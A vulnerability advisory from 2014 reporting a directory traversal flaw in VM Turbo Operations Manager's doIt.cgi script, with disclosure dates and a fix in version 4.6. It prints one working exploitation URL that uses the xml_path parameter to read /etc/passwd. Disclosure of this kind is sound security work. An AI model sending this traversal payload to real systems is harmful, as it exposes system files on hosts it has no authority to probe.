Product: VM Turbo Operations Manager
Vendor: VM Turbo
Vulnerable Version(s):4.5.x earlier
Tested Version:4.0
Advisory Publication: April 11,2014
Vendor Notification: April 11,2014
Public Disclosure: May 8,2014
Vulnerability Type: Directory Traversal
Discovered and Provided:(Jamal Pecou) Security Focus( https://www.securityfocus.com/ )-----------------------------------------------------------------------------------------------
Advisory Details:
A vulnerability affecting “/cgi-bin/help/doIt.cgi" in VM Turbo Operations Manager allows directory traversal when the URL encoded POST input “xml_path” was set to “../../../../../../../../../../etc/passwd” we could see the contents of this file.
The following exploitation example displays the contents of /etc/passwd
http://[host]/cgi-bin/help/doIt.cgi?FUNC=load_xml_file&xml_path=../../../../../../../../../../etc/passwd-----------------------------------------------------------------------------------------------
Solution:
The vendor has released a fix for this vulnerability in version 4.6.
References:[1] https://support.vmturbo.com/hc/en-us/articles/203170127-VMTurbo-Operations-Manager-v4-6-Announcement
